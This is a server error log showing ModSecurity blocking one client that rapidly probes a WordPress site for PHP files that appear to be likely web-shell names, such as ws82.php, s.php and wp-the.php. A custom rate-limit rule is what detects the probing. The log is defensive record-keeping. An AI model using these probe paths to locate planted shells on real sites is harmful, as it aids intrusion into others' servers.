[Fri Apr 17 05:38:58.408845 2026] [:error] [pid 9153:tid 9230] [client 4.232.179.255:7096] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFW8uMHGxkTZX3c45f7OgAAAIw"]
[Fri Apr 17 05:38:58.877806 2026] [:error] [pid 51878:tid 51898] [client 4.232.179.255:7071] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeFW8knQhUtMbw9EsgZmEwAAARI"]
[Fri Apr 17 05:38:59.449650 2026] [:error] [pid 51878:tid 51897] [client 4.232.179.255:7097] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeFW80nQhUtMbw9EsgZmFQAAARE"]
[Fri Apr 17 05:38:59.961458 2026] [:error] [pid 9153:tid 9224] [client 4.232.179.255:7081] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeFW8-MHGxkTZX3c45f7PgAAAIY"]
[Fri Apr 17 05:39:00.495933 2026] [:error] [pid 9151:tid 9179] [client 4.232.179.255:6983] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeFW9MhTVuRPkua22vSZ7AAAABI"]
[Fri Apr 17 05:39:00.997010 2026] [:error] [pid 51878:tid 51894] [client 4.232.179.255:7144] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeFW9EnQhUtMbw9EsgZmIwAAAQ4"]
[Fri Apr 17 05:39:01.543821 2026] [:error] [pid 9153:tid 9242] [client 4.232.179.255:7024] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeFW9eMHGxkTZX3c45f7QQAAAJg"]
[Fri Apr 17 05:39:02.029973 2026] [:error] [pid 9263:tid 9272] [client 4.232.179.255:7042] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeFW9hP68VyHNvj1e572OAAAAMc"]
[Fri Apr 17 05:39:02.513007 2026] [:error] [pid 9153:tid 9230] [client 4.232.179.255:7050] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeFW9uMHGxkTZX3c45f7RQAAAIw"]
[Fri Apr 17 05:39:03.033979 2026] [:error] [pid 9152:tid 9201] [client 4.232.179.255:7064] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeFW95JYca8I3TNCwIcMrAAAAEs"]
[Fri Apr 17 05:39:03.510451 2026] [:error] [pid 9152:tid 9194] [client 4.232.179.255:7135] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeFW95JYca8I3TNCwIcMrgAAAEQ"]
[Fri Apr 17 05:39:04.038482 2026] [:error] [pid 9151:tid 9182] [client 4.232.179.255:6994] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeFW-MhTVuRPkua22vSZ9QAAABU"]
[Fri Apr 17 05:39:04.527264 2026] [:error] [pid 9153:tid 9238] [client 4.232.179.255:7004] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeFW-OMHGxkTZX3c45f7SQAAAJQ"]
[Fri Apr 17 05:39:05.009789 2026] [:error] [pid 9153:tid 9224] [client 4.232.179.255:7109] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeFW-eMHGxkTZX3c45f7TAAAAIY"]
[Fri Apr 17 05:39:05.497050 2026] [:error] [pid 9152:tid 9193] [client 4.232.179.255:7051] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeFW-ZJYca8I3TNCwIcMtQAAAEM"]
[Fri Apr 17 05:39:06.044163 2026] [:error] [pid 9263:tid 9268] [client 4.232.179.255:7082] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeFW-hP68VyHNvj1e572UAAAAMM"]
[Fri Apr 17 05:39:06.639443 2026] [:error] [pid 9263:tid 9281] [client 4.232.179.255:6976] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeFW-hP68VyHNvj1e572VwAAANA"]
[Fri Apr 17 05:39:07.196473 2026] [:error] [pid 9153:tid 9230] [client 4.232.179.255:7084] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeFW--MHGxkTZX3c45f7TwAAAIw"]
[Fri Apr 17 05:39:08.036821 2026] [:error] [pid 9151:tid 9179] [client 4.232.179.255:7018] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeFW_MhTVuRPkua22vSZ-QAAABI"]
[Fri Apr 17 05:39:08.598907 2026] [:error] [pid 9263:tid 9283] [client 4.232.179.255:7027] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeFW_BP68VyHNvj1e572XwAAANI"]
[Fri Apr 17 05:39:09.176488 2026] [:error] [pid 9263:tid 9285] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php
[Fri Apr 17 05:39:09.908540 2026] [:error] [pid 9263:tid 9269] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-access.php
[Fri Apr 17 05:39:10.394153 2026] [:error] [pid 9263:tid 9271] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Fri Apr 17 05:39:10.641513 2026] [:error] [pid 9263:tid 9267] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Fri Apr 17 05:39:10.876640 2026] [:error] [pid 9263:tid 9275] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/900.php
[Fri Apr 17 05:39:11.112284 2026] [:error] [pid 9263:tid 9287] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Fri Apr 17 05:39:11.375817 2026] [:error] [pid 9263:tid 9276] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Fri Apr 17 05:39:11.614747 2026] [:error] [pid 9263:tid 9265] [client 4.232.179.255:7077] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Fri Apr 17 05:39:11.847494 2026] [:error] [pid 9263:tid 9281] [client 4.232.179.255:7077] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeFW_xP68VyHNvj1e572fAAAANA"]
[Fri Apr 17 05:39:12.398262 2026] [:error] [pid 9263:tid 9289] [client 4.232.179.255:7068] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeFXABP68VyHNvj1e572fgAAANg"]
[Fri Apr 17 05:39:12.868447 2026] [:error] [pid 51878:tid 51901] [client 4.232.179.255:7163] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeFXAEnQhUtMbw9EsgZmNQAAARU"]
[Fri Apr 17 05:39:13.365170 2026] [:error] [pid 9263:tid 9266] [client 4.232.179.255:7020] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeFXARP68VyHNvj1e572hQAAAME"]
[Fri Apr 17 05:39:13.918520 2026] [:error] [pid 51878:tid 51881] [client 4.232.179.255:7066] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeFXAUnQhUtMbw9EsgZmNwAAAQE"]
[Fri Apr 17 05:39:14.470918 2026] [:error] [pid 51878:tid 51889] [client 4.232.179.255:6953] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeFXAknQhUtMbw9EsgZmOgAAAQk"]
[Fri Apr 17 05:39:15.022388 2026] [:error] [pid 9152:tid 9199] [client 4.232.179.255:7043] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeFXA5JYca8I3TNCwIcMvwAAAEk"]
[Fri Apr 17 05:39:15.702895 2026] [:error] [pid 51878:tid 51901] [client 4.232.179.255:7146] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeFXA0nQhUtMbw9EsgZmRwAAARU"]
[Fri Apr 17 05:39:16.205188 2026] [:error] [pid 51878:tid 51888] [client 4.232.179.255:7029] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeFXBEnQhUtMbw9EsgZmTQAAAQg"]
[Fri Apr 17 05:39:16.746662 2026] [:error] [pid 9263:tid 9275] [client 4.232.179.255:7093] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeFXBBP68VyHNvj1e572jQAAAMo"]
[Fri Apr 17 05:39:17.212751 2026] [:error] [pid 51878:tid 51882] [client 4.232.179.255:7009] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeFXBUnQhUtMbw9EsgZmUgAAAQI"]
[Fri Apr 17 05:39:17.705547 2026] [:error] [pid 51878:tid 51899] [client 4.232.179.255:7153] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeFXBUnQhUtMbw9EsgZmWAAAARM"]
[Fri Apr 17 05:39:18.196102 2026] [:error] [pid 51878:tid 51896] [client 4.232.179.255:7166] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeFXBknQhUtMbw9EsgZmXgAAARA"]
[Fri Apr 17 05:39:18.665072 2026] [:error] [pid 51878:tid 51897] [client 4.232.179.255:7090] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeFXBknQhUtMbw9EsgZmYwAAARE"]
[Fri Apr 17 05:39:19.195854 2026] [:error] [pid 9263:tid 9284] [client 4.232.179.255:6927] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeFXBxP68VyHNvj1e572kQAAANM"]
[Fri Apr 17 05:39:19.671464 2026] [:error] [pid 9151:tid 9169] [client 4.232.179.255:7147] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeFXB8hTVuRPkua22vSZ_gAAAAg"]
[Fri Apr 17 05:39:20.216591 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:6988] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeFXCOMHGxkTZX3c45f7ZgAAAIo"]
[Fri Apr 17 05:39:20.701516 2026] [:error] [pid 9151:tid 9180] [client 4.232.179.255:7033] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeFXCMhTVuRPkua22vSZ_wAAABM"]
[Fri Apr 17 05:39:21.292009 2026] [:error] [pid 9263:tid 9272] [client 4.232.179.255:6997] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeFXCRP68VyHNvj1e572pgAAAMc"]
[Fri Apr 17 05:39:21.871664 2026] [:error] [pid 9153:tid 9239] [client 4.232.179.255:7102] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeFXCeMHGxkTZX3c45f7bQAAAJU"]
[Fri Apr 17 05:39:22.443863 2026] [:error] [pid 51878:tid 51892] [client 4.232.179.255:7092] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeFXCknQhUtMbw9EsgZmawAAAQw"]
[Fri Apr 17 05:39:23.018468 2026] [:error] [pid 9263:tid 9276] [client 4.232.179.255:6850] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeFXCxP68VyHNvj1e572sgAAAMs"]
[Fri Apr 17 05:39:23.542480 2026] [:error] [pid 9153:tid 9222] [client 4.232.179.255:7154] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeFXC-MHGxkTZX3c45f7dAAAAIQ"]
[Fri Apr 17 05:39:24.007095 2026] [:error] [pid 9152:tid 9190] [client 4.232.179.255:6919] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeFXDJJYca8I3TNCwIcMxgAAAEA"]
[Fri Apr 17 05:39:24.482995 2026] [:error] [pid 9152:tid 9191] [client 4.232.179.255:7044] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aeFXDJJYca8I3TNCwIcMyQAAAEE"]
[Fri Apr 17 05:39:24.950595 2026] [:error] [pid 51878:tid 51902] [client 4.232.179.255:7094] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aeFXDEnQhUtMbw9EsgZmcQAAARY"]
[Fri Apr 17 05:39:25.413939 2026] [:error] [pid 9152:tid 9195] [client 4.232.179.255:6987] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aeFXDZJYca8I3TNCwIcMzgAAAEU"]
[Fri Apr 17 05:39:25.995517 2026] [:error] [pid 9152:tid 9207] [client 4.232.179.255:6985] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aeFXDZJYca8I3TNCwIcM0QAAAFE"]
[Fri Apr 17 05:39:26.472347 2026] [:error] [pid 9152:tid 9203] [client 4.232.179.255:7006] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFXDpJYca8I3TNCwIcM0wAAAE0"]
[Fri Apr 17 05:39:26.941760 2026] [:error] [pid 9152:tid 9213] [client 4.232.179.255:7078] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFXDpJYca8I3TNCwIcM1AAAAFc"]
[Fri Apr 17 05:39:27.431152 2026] [:error] [pid 51878:tid 51898] [client 4.232.179.255:7067] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFXD0nQhUtMbw9EsgZmegAAARI"]
[Fri Apr 17 05:39:27.972750 2026] [:error] [pid 9263:tid 9280] [client 4.232.179.255:7091] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFXDxP68VyHNvj1e572wwAAAM8"]
[Fri Apr 17 05:39:28.507713 2026] [:error] [pid 9152:tid 9206] [client 4.232.179.255:7150] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFXEJJYca8I3TNCwIcM2AAAAFA"]
